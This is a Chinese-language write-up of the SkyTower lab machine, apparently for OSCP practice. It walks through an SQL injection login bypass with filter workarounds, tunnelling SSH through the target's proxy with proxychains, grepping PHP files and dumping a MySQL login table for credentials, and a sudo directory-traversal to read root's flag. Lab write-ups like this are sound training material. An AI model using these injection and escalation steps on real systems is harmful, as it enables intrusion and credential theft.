OSCP（扩展篇靶机SkyTower）

第一步：nmap

第二步：SQL注入测试，获得john权限

e-mail:test'  password:test'

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test''' at line 1]

对单引号有反应，首先尝试万能密码：     ' or 1=1 --    尝试

There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11 ' and password=' ' 11 '' at line 1]           

看来等号是没了，不过可以用 > <  <> 代替

使用intruder中的 pitchfork模块来暴力破解，这里发现出现了几种不同的字符，直接repeater中使用复制回显，这里发现绕过并成功显示用户名信息。

使用SQLi Payloads

Username: john
Password: hereisjohn

第三步：尝试使用代理链接ssh

无法直接ssh链接

proxychains使用方法

1. 安装ProxyChains:在终端中输入命令sudo apt-get install proxychains4来安装ProxyChains。

2. 修改配置文件:使用sudo vim /etc/proxychains.conf命令来打开配置文件,并在文件末尾加上代理服务器的地址。

vi /etc/proxychains4.conf

/ProxyList

http 192.168.56.108 3128

将http流量代理到目标主机 3128端口

保存之后，尝试使用代理登录目标主机

proxychains ssh [email protected]

 成功连接的同时被注销了会话，然而这样却可以执行

 我们直接proxychains4 ssh [email protected] /bin/bash

第四步：尝试寻找包含密码的文件

/bin/sh -i

 find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C20 -i pass     

 mysql用户名密码都是root,查看存在哪些数据库，查看SkyTech这个数据库

mysql -uroot -proot -e 'show databases;'

 mysql -uroot -proot -e 'use SkyTech; show tables;'

 mysql -uroot -proot -e 'use SkyTech; select * from login;'

 获得三个用户名密码

第五步：利用sara用户进行连接，通过sudo越权

proxychains4 ssh [email protected] /bin/bash

/bin/sh -i

发现对这个accounts的目录是有sudo权限的，但是我们无法sudo，因为我们没有ttyshell，我们可以看看bashrc文件，看看bash是如何设置为交互式运行的

 cat .bashrc，发现末尾有个退出

 我们直接把.bashrc删掉，再试试

 sudo cat /accounts/../root/flag.txt

可以目录遍历到拿取旗帜，root密码也在里面

获取root权限

完结撒花~